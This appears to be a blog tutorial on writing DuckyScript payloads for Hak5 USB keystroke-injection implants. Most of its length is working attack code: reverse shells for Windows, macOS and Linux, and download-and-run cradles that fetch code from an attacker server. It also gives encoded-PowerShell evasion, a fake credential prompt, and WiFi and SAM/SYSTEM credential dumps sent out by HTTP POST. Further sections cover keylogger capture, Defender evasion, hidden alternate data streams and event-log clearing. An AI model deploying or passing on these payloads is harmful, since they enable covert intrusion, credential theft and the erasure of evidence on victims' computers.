How To Create Payloads With DuckyScript
- Biohazard

- Jul 23
- 11 min read

Creating DuckyScript Payloads
Here's the complete workflow from blank file to shell on target, covering syntax, common patterns, compilation, testing, and deployment across all current Hak5 implant platforms. This article / guide is on how to create DuckyScript payloads.
The Development Workflow
Write .ds file → Compile to inject.bin → Test on lab machine → Deploy to implant → Execute on targetYou need three things to start:
Payload Studio (payloadstudio.hak5.org — web-based, handles compilation)
A test machine (VM or spare laptop matching the target OS)
The implant (Rubber Ducky, O.MG Cable, Key Croc, etc.)
Write in Payload Studio's editor, hit "Compile", download inject.bin, copy to the implant's MicroSD or upload via its web interface.
The Payload File Structure
DuckyScript 1.0 (Classic Rubber Ducky, basic payloads)
A flat script. No structure to speak of — just commands top to bottom:
REM MyPayload — Windows reverse shell
DELAY 2000
GUI r
DELAY 500
STRING powershell
ENTERThe REM on line 1 is optional but good practice — it's a comment that's ignored at runtime. Every DuckyScript file starts executing from line 1 and runs sequentially until the end. That's it.
DuckyScript 3.0 (O.MG Cable Elite, Pager, modern implants)
Preprocessor directives first, then extensions, then payload body:
REM ============================================
REM payload.ds — Multi-stage Windows implant
REM ============================================
; --- Preprocessor ---
#include "lib/windows/common.ds"
#define $C2 "10.10.14.5"
#define $PORT 8443
; --- Extensions ---
EXTENSION DETECT_OS
EXTENSION HTTP
; --- Payload body ---
DEFAULT_DELAY 10
FUNCTION STAGE_ONE()
GUI r
DELAY 300
STRING powershell -NoP -W Hidden -C "iwr http://$C2/drop.ps1 -OutFile $env:TEMP\d.ps1; & $env:TEMP\d.ps1"
ENTER
END_FUNCTION
VAR $os = DETECT_OS
IF ($os == "WINDOWS") THEN
STAGE_ONE
END_IFCore Command Reference
Keystroke Injection
These are the primitives everything else is built on:
STRING Hello World Types the literal text "Hello World"
ENTER Presses Enter
TAB Presses Tab
ESC Presses Escape
SPACE Presses Space
BACKSPACE Presses Backspace
DELETE Presses Delete
; Arrow keys
UP / DOWN / LEFT / RIGHT
UPARROW / DOWNARROW / LEFTARROW / RIGHTARROW
; Function keys
F1 F2 F3 F4 F5 F6 F7 F8 F9 F10 F11 F12
; Navigation
HOME / END / PAGEUP / PAGEDOWN / INSERT
; Special
PRINTSCREEN
PAUSE / BREAK
SCROLLLOCK / NUMLOCK / CAPSLOCKModifier Combinations
Hold modifier + tap key, release both:
CTRL c Copy
CTRL v Paste
CTRL x Cut
CTRL a Select all
CTRL z Undo
CTRL s Save
CTRL ALT DELETE SAS (Secure Attention Sequence)
CTRL SHIFT ESC Task Manager
CTRL SHIFT ENTER Run as Administrator (on UAC prompt)
GUI r Run dialog
GUI d Show desktop
GUI l Lock workstation
GUI x Power user menu (Win 8+)
ALT TAB Switch window
ALT F4 Close window
SHIFT F10 Right-click context menuMultiple modifiers chain naturally:
CTRL SHIFT ALT t All three held at once + t
GUI SHIFT s Snipping tool / screenshot region (Win 10+)Timing
DEFAULT_DELAY 20 Sets 20ms delay between every subsequent command
DEFAULTDELAY 20 Alias — same thing
DELAY 500 Pause for 500 milliseconds
DELAY 3000 Pause for 3 secondsThe DEFAULT_DELAY is your global typing speed. 18 is the classic Rubber Ducky default and works on most modern machines. 10 is faster but may drop keystrokes on older hardware. 5 is pushing it. DELAY is for strategic pauses — after opening the Run dialog, after launching an application, after pasting a large payload.
REPEAT
DELETE
REPEAT 50 Presses Delete 50 times (clears a line)
TAB
REPEAT 3 Presses Tab 3 timesATTACKMODE
How the implant presents itself to the target's USB bus:
ATTACKMODE HID Keyboard only
ATTACKMODE STORAGE Flash drive only
ATTACKMODE HID STORAGE Keyboard + flash drive
ATTACKMODE HID SERIAL Keyboard + serial console
ATTACKMODE HID STORAGE SERIAL All three
ATTACKMODE HID ECM Keyboard + Ethernet adapter
ATTACKMODE HID VID_0x046D PID_0xC31C Keyboard spoofed as Logitech
ATTACKMODE HID STORAGE VID_0x0781 PID_0x5575 Spoofed as SanDiskECM is powerful for exfil — the target gets a new network interface, and the implant can communicate with it over an IP link without touching the target's real network.
LED Control (on supported hardware)
LED_R Red
LED_G Green
LED_B Blue
LED_Y Yellow (some devices)
LED_W White (some devices)
LED_OFF Off
; Set specific color with RGB (DuckyScript 3.0)
LED 255 0 0 Red
LED 0 255 0 Green
LED 255 128 0 OrangeUse LEDs to signal payload stages during development. In production, leave them off for stealth.
BUTTON (Key Croc, Bash Bunny, some O.MG devices)
BUTTON_DEF Halt and wait for button press, then continue
BUTTON_DOWN Wait for button press AND hold
LED_R
BUTTON_DEF ; Blinks red, waits for operator to press button
LED_G ; Goes green when button is pressedThis creates an "armed and waiting" state. The implant sits silently, blinking, until the operator physically presses the button to execute. Useful when you need precise timing relative to target activity.
Common Payload Patterns
Pattern 1: PowerShell Reverse Shell (Windows)
The classic. Opens Run, types a command, gets a shell.
REM Windows Reverse Shell — Netcat listener on attacker
DELAY 3000
GUI r
DELAY 500
STRING powershell -NoP -NonI -W Hidden -Exec Bypass -C "$c=New-Object System.Net.Sockets.TCPClient('192.168.1.100',4444);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length))-ne0){;$d=(New-Object -TypeName System.Text.ASCIIEncoding).GetString($b,0,$i);$sb=(iex $d 2>&1|Out-String);$sb2=$sb+'PS '+(pwd).Path+'> ';$t=([text.encoding]::ASCII).GetBytes($sb2);$s.Write($t,0,$t.Length);$s.Flush()};$c.Close()"
ENTERBreakdown of the PowerShell one-liner:
-NoP — No Profile (faster, no profile scripts run)
-NonI — Non-Interactive
-W Hidden — Window Hidden (no console flash)
-Exec Bypass — Execution Policy Bypass
The payload: create TCP socket, get stream, read loop — execute received commands, send back output with a PS prompt
Set up your listener first:
bash
nc -lvnp 4444Then plug in the Ducky. ~4 seconds later, you have a shell.
Pattern 2: Staged PowerShell Download Cradle
Lighter weight. The Ducky just downloads and executes a script hosted on your server.
REM Staged — downloads payload from attacker-controlled server
DELAY 2000
GUI r
DELAY 300
STRING powershell -NoP -W Hidden -C "iwr http://192.168.1.100/stage.ps1 -OutFile $env:TEMP\s.ps1; & $env:TEMP\s.ps1"
ENTERHost stage.ps1 on your HTTP server:
powershell
# stage.ps1 — hosted on attacker's Python HTTP server
$c2 = "192.168.1.100"
$port = 4444
# Basic recon
$info = @{
hostname = $env:COMPUTERNAME
user = $env:USERNAME
domain = $env:USERDOMAIN
os = (Get-WmiObject Win32_OperatingSystem).Caption
}
# Beacon to C2
Invoke-RestMethod -Uri "http://$c2/beacon" -Method POST -Body ($info | ConvertTo-Json)
# Reverse shell
$client = New-Object System.Net.Sockets.TCPClient($c2,$port)
$stream = $client.GetStream()
[byte[]]$bytes = 0..65535|%{0}
while(($i = $stream.Read($bytes,0,$bytes.Length)) -ne 0){
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i)
$sendback = (iex $data 2>&1 | Out-String)
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> '
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
$stream.Write($sendbyte,0,$sendbyte.Length)
$stream.Flush()
}
$client.Close()Advantages of staged: you can change the payload between runs without recompiling. The Ducky payload stays the same; just update the script on your server.
Pattern 3: Encoded PowerShell (Evasion)
Avoids sending the payload in cleartext through the Run dialog. The command the Ducky types is just powershell -Enc <base64>:
powershell
# On your attacker machine — generate the encoded command
$cmd = @'
$c2="192.168.1.100";$p=4444;$c=New-Object System.Net.Sockets.TCPClient($c2,$p);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length))-ne0){$d=(New-Object System.Text.ASCIIEncoding).GetString($b,0,$i);$r=(iex $d 2>&1|Out-String);$r2=$r+"PS "+(pwd).Path+"> ";$t=([text.encoding]::ASCII).GetBytes($r2);$s.Write($t,0,$t.Length);$s.Flush()};$c.Close()
'@
$encoded = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($cmd))
Write-Output $encodedThen the DuckyScript:
REM Encoded PowerShell reverse shell
DELAY 2000
GUI r
DELAY 300
STRING powershell -NoP -NonI -W Hidden -Exec Bypass -Enc JABjADIA...rest of base64...
ENTERThe Run dialog shows powershell -Enc JABjADIA... — an opaque blob. Not encrypted, but not immediately readable.
Pattern 4: macOS Reverse Shell
REM macOS reverse shell via Terminal
DELAY 2000
GUI SPACE ; Spotlight search
DELAY 500
STRING terminal
DELAY 1000
ENTER
DELAY 1500
STRING bash -i >& /dev/tcp/192.168.1.100/4444 0>&1
ENTER
DELAY 500
GUI h ; Hide Terminal (Cmd+H)Or staged:
REM macOS staged
DELAY 2000
GUI SPACE
DELAY 500
STRING terminal
DELAY 1000
ENTER
DELAY 1500
STRING curl -s http://192.168.1.100/stage.sh | bash &
ENTER
DELAY 500
GUI hPattern 5: Linux Reverse Shell
REM Linux reverse shell — assumes GUI with terminal shortcut
DELAY 2000
CTRL ALT t ; Terminal (Ubuntu/GNOME default)
DELAY 1000
STRING bash -c 'bash -i >& /dev/tcp/192.168.1.100/4444 0>&1' &
ENTER
DELAY 500
CTRL d ; Close terminal (or ALT F4)Linux is the hardest target for DuckyScript because there is no universal "open terminal" shortcut. CTRL ALT t works on GNOME/Ubuntu. CTRL ALT F2 switches to a TTY (but that's disruptive). Some distros use SUPER + terminal. Know your target's desktop environment.
Pattern 6: Credential Harvesting — Fake UAC Prompt
REM Fake UAC credential prompt via PowerShell
DELAY 2000
GUI r
DELAY 300
STRING powershell
DELAY 500
CTRL SHIFT ENTER ; Run as Admin — triggers UAC, no way to automate from here
DELAY 3000
LEFT
ENTER ; Accept UAC
DELAY 2000
STRING $cred=$host.ui.PromptForCredential('Windows Security','Please enter your administrator credentials to continue.','','')
ENTER
DELAY 500
STRING $cred.GetNetworkCredential().Password | Out-File $env:TEMP\out.txt
ENTER
DELAY 300
STRING $cred.GetNetworkCredential().UserName | Out-File $env:TEMP\out.txt -Append
ENTERThis needs the user to accept the UAC prompt. More practical as a social engineering payload where the user expects an admin action.
Pattern 7: WiFi Credential Exfil (Windows)
REM Exfiltrate saved WiFi passwords
DELAY 2000
GUI r
DELAY 300
STRING powershell -NoP -W Hidden -C "netsh wlan export profile key=clear; $f=Get-ChildItem $env:TEMP\*.xml; $p=@(); foreach($x in $f){$xml=[xml](Get-Content $x.FullName);$p+=$xml.WLANProfile.SSIDConfig.SSID.name+':'+$xml.WLANProfile.MSM.security.sharedKey.keyMaterial}; $p|Out-File $env:TEMP\wifi.txt"
ENTER
DELAY 5000
GUI r
DELAY 300
STRING powershell -NoP -W Hidden -C "iwr -Uri http://192.168.1.100/exfil -Method POST -InFile $env:TEMP\wifi.txt; Remove-Item $env:TEMP\*.xml; Remove-Item $env:TEMP\wifi.txt"
ENTERFirst command exports WiFi profiles in cleartext XML to %TEMP%. Second command POSTs them to your server and cleans up.
Pattern 8: SAM/SYSTEM Dump
REM Dump SAM and SYSTEM hives for offline hash extraction
DELAY 2000
GUI r
DELAY 300
STRING powershell -NoP -W Hidden -C "reg save HKLM\SAM $env:TEMP\sam.hiv; reg save HKLM\SYSTEM $env:TEMP\sys.hiv"
ENTER
DELAY 5000
GUI r
DELAY 300
STRING powershell -NoP -W Hidden -C "Compress-Archive -Path $env:TEMP\sam.hiv,$env:TEMP\sys.hiv -DestinationPath $env:TEMP\dump.zip"
ENTER
DELAY 3000
GUI r
DELAY 300
STRING powershell -NoP -W Hidden -C "iwr -Uri http://192.168.1.100/exfil -Method POST -InFile $env:TEMP\dump.zip"
ENTERRequires administrative privileges. Use CTRL SHIFT ENTER on the first PowerShell launch to elevate.
Later, crack the hashes:
bash
secretsdump.py -sam sam.hiv -system sys.hiv LOCAL
hashcat -m 1000 hashes.txt /usr/share/wordlists/rockyou.txtDuckyScript 3.0 - Advanced Payloads
Multi-OS Detection at Runtime
EXTENSION DETECT_OS
VAR $os = DETECT_OS
VAR $c2 = "192.168.45.189"
FUNCTION WINDOWS_PAYLOAD()
GUI r
DELAY 300
STRING powershell -NoP -W Hidden -C "iwr http://$c2/win -OutFile $env:TEMP\p.ps1;& $env:TEMP\p.ps1"
ENTER
END_FUNCTION
FUNCTION MAC_PAYLOAD()
GUI SPACE
DELAY 500
STRING terminal
DELAY 1000
ENTER
DELAY 1500
STRING curl -s http://$c2/mac | bash &
ENTER
DELAY 500
GUI h
END_FUNCTION
FUNCTION LINUX_PAYLOAD()
CTRL ALT t
DELAY 1000
STRING curl -s http://$c2/linux | bash &
ENTER
END_FUNCTION
IF ($os == "WINDOWS") THEN
WINDOWS_PAYLOAD
ELSE IF ($os == "MACOS") THEN
MAC_PAYLOAD
ELSE IF ($os == "LINUX") THEN
LINUX_PAYLOAD
ELSE
; Unknown OS — fallback or abort
LED_R
END_IFOne payload file, three targets, zero recompilation.
Keylogger-Triggered Payload (Key Croc / O.MG Elite)
REM Wait for user to type "login", then capture credentials
EXTENSION KEYLOGGER
KEYLOGGER_START
MATCH "password"
LED_B ; Blue = listening for keyword
; When "password" is typed, the payload triggers
BUTTON_DEF ; Wait for operator button press to arm
; OR: payload runs automatically on MATCH
LED_G ; Green = keyword detected
DELAY 500
; Capture the next 100 keystrokes into a variable
VAR $creds = CAPTURE_KEYSTROKES 100
; Exfil via HTTP
EXTENSION HTTP
HTTP_POST "http://192.168.1.100/capture" $creds
LED_OFFWiFi-Triggered Exfil (O.MG Cable Elite)
REM Connect to attacker WiFi, exfil data, self-destruct
EXTENSION WIFI
EXTENSION HTTP
EXTENSION SELF_DESTRUCT
VAR $data = "exfil_data_here"
WIFI_CONNECT "OperatorAP" "securepassword"
DELAY 3000
HTTP_POST "http://192.168.1.100/collect" $data
DELAY 2000
SELF_DESTRUCT ; Cable burns internal circuitry — completely deadGeofencing (O.MG Cable Elite)
REM Only execute if target is within geofence radius
EXTENSION GEOLOCATION
VAR $location = GEOLOCATE
; $location contains: lat, lon, accuracy
; Only execute if near the target office
IF (DISTANCE($location, 40.7128, -74.0060) < 500) THEN
; Within 500m of target — execute
; ...payload...
ELSE
; Outside geofence — sleep, don't execute
LED_R
EXTENSION SLEEP
SLEEP 3600 ; Sleep 1 hour, then try again
END_IFCompilation & Deployment
Using Payload Studio (Web)
Go to payloadstudio.hak5.org
Create new payload → select target device
Write or paste your payload
Click "Compile" — errors appear in the console panel
If clean, download inject.bin
Copy inject.bin to the implant's MicroSD root (Rubber Ducky) or upload via web interface (O.MG Cable, Key Croc)
Compilation Errors and Fixes
Error | Cause | Fix |
Unknown command | Typo in a command name | Check spelling — DEFAULTDELAY vs DEFAULT_DELAY |
Unterminated string | Missing closing quote | STRING "hello → need closing " |
Function not defined | Calling a function before it's defined | Move function above the call, or use #include |
Extension not available | Using an extension not supported on target device | Check device compatibility matrix |
Preprocessor error | Fix path, ensure all variables defined |
MicroSD Layout (Rubber Ducky)
/MicroSD root
├── inject.bin ← Compiled payload (required)
├── readme.txt ← Optional — visible when STORAGE mode is active
└── payloads/ ← Optional — extra payload files for multi-stageO.MG Cable / Key Croc Deployment
These have onboard storage and a web interface. Connect to the implant's WiFi AP, navigate to the web UI, and upload inject.bin to the payload slot. For the O.MG Cable Elite, you can also push payloads remotely via Cloud C2.
Testing Methodology
Never deploy untested. Build a lab that matches the target.
Test Lab Setup
Host: Your laptop
├── VM: Windows 10/11 (target OS, same build, same language)
│ └── USB passthrough enabled
├── VM: Windows 10/11 with EDR (Defender ATP, CrowdStrike, etc.)
└── VM: Linux/macOS (if multi-platform)Testing Steps
Compile the payload
Deploy to implant
Start listener on attacker VM: nc -lvnp 4444
Start packet capture on target VM for troubleshooting: tcpdump or Wireshark
Plug in the implant
Observe: Does the Run dialog open? Does PowerShell launch? Does the shell connect?
Iterate: Adjust delays, fix syntax, optimize timing
Common Failures
Symptom | Likely Cause |
Nothing happens | Too little initial delay — implant injects before OS recognizes keyboard. Start with DELAY 3000. |
Run dialog opens but nothing typed | DELAY after GUI r too short. Increase to 500ms+. |
Garbled text | Target keyboard layout differs from US. Force US layout: GUI SPACE, STRING "language", select US, or use encoded payload. |
PowerShell window flashes and closes | Execution policy blocking script. Add -Exec Bypass. |
Shell connects but dies immediately | Firewall or AV killing the connection. Use HTTPS callback, lower ports, or staged payload. |
Defender flags the payload | Drop files to disk (invokes scan). Use in-memory execution or bypass with -W Hidden. |
UAC prompt appears, no shell | You launched without admin. Either accept UAC or design for user-level execution. |
Timing Calibration Table
These are starting points — adjust for your target hardware:
Action | SSD Desktop | HDD Desktop | VM | Thin Client |
DELAY before first keystroke | 2000 | 3000 | 1500 | 3000–5000 |
DELAY after GUI r | 300 | 500 | 200 | 500–1000 |
DELAY after launching app | 1000 | 2000 | 800 | 2000–3000 |
DEFAULT_DELAY (typing speed) | 10 | 18 | 10 | 18–25 |
Payload Optimization & Evasion
Reduce Visible Window Flash
; Instead of launching PowerShell directly:
GUI r
STRING powershell -W Hidden -C "..."
; The -W Hidden flag hides the console window
; Even better — use WMI or COM objects instead of PowerShell:
; (but Ducky can only type, so you need PowerShell to bootstrap)Obfuscate the Command
; Instead of typing the full command in the Run dialog:
GUI r
STRING powershell -W Hidden -Enc BASE64ENCODEDCOMMAND
; The base64 obscures the payload
; Or use a short download cradle:
GUI r
STRING powershell -W Hidden (iwr bit.ly/xxxxx|iex)
; Shortened URL hides the real C2 serverClean Up
; After your shell is established:
DELAY 5000
GUI r
STRING powershell -W Hidden -C "Remove-Item $env:TEMP\d.ps1 -Force; Clear-RecycleBin -Force"
ENTER
; Or from your reverse shell:
del %TEMP%\d.ps1
wevtutil cl "Windows PowerShell" ; Clear PowerShell event log
wevtutil cl "Security" ; Clear Security log (needs admin)Avoid Disk Touches Where Possible
Windows Defender scans new files on disk. If you must drop a file:
; Use Alternate Data Streams (ADS) to hide the file
powershell -C "iwr http://c2/payload.ps1 | Set-Content $env:TEMP\s.ps1 -Stream hidden"
; Execute from ADS
powershell -C "iex (Get-Content $env:TEMP\s.ps1 -Stream hidden)"Or avoid disk entirely with a pure in-memory download cradle:
; No file on disk:
powershell -C "iex (iwr http://c2/payload.ps1 -UseBasicParsing).Content"Building A Payload Library
Organize reusable payloads with DuckyScript 3.0's preprocessor:
payloads/
├── common/
│ ├── windows.ds ; Windows-specific functions
│ ├── macos.ds ; macOS-specific functions
│ └── evasion.ds ; Common evasion techniques
├── shells/
│ ├── reverse_tcp.ds ; TCP reverse shell functions
│ ├── reverse_https.ds ; HTTPS reverse shell
│ └── bind_tcp.ds ; Bind shell
├── recon/
│ ├── sysinfo.ds ; System info gathering
│ └── network.ds ; Network enumeration
├── exfil/
│ ├── http_post.ds ; HTTP POST exfiltration
│ ├── dns.ds ; DNS tunneling
│ └── smb.ds ; SMB share upload
├── creds/
│ ├── wifi.ds ; WiFi credential dump
│ ├── browser.ds ; Browser saved passwords
│ └── sam.ds ; SAM/SYSTEM dump
└── cleanup/
└── windows.ds ; Log clearing, file removalExample include chain for a full operation:
REM op_shadowfax.ds
#include "common/windows.ds"
#include "common/evasion.ds"
#include "recon/sysinfo.ds"
#include "creds/wifi.ds"
#include "exfil/http_post.ds"
#include "shells/reverse_tcp.ds"
#include "cleanup/windows.ds"
#define $C2 "10.10.14.5"
#define $PORT 8443
; --- Execute ---
WINDOWS_INIT
EVADE_DEFENDER
SYSINFO_COLLECT
WIFI_DUMP
HTTP_EXFIL_ALL
REVERSE_TCP $C2 $PORT
CLEANUP_FULLQuick Reference: Payload By Objective
Objective | Key Technique | Approx. Time |
Reverse shell (Windows) | GUI r → PowerShell TCP one-liner | 3–5 sec |
Reverse shell (macOS) | GUI SPACE → Terminal → bash TCP | 5–8 sec |
Reverse shell (Linux) | CTRL ALT t → bash TCP | 4–6 sec |
Download + execute stager | GUI r → PowerShell iwr cradle | 3 sec |
Encoded payload (evasion) | GUI r → powershell -Enc <b64> | 3 sec |
WiFi password dump | PowerShell netsh wlan export | 8–10 sec |
SAM/SYSTEM dump | reg save SAM and SYSTEM hives | 8–12 sec |
Browser credential steal | Staged script → decrypt Chrome/Edge/FF | Depends on script |
Keylogger deployment | PowerShell script that hooks keystrokes | 3 sec + script runtime |
USB storage exfil | ATTACKMODE HID STORAGE → copy files | Varies by file size |
Persistent backdoor | Staged → scheduled task or registry Run key | 5–8 sec |
Ransomware simulation | DLL injection or PowerShell file encryption | Varies wildly |
Cleanup | Delete artifacts, clear event logs | 3–5 sec |






Comments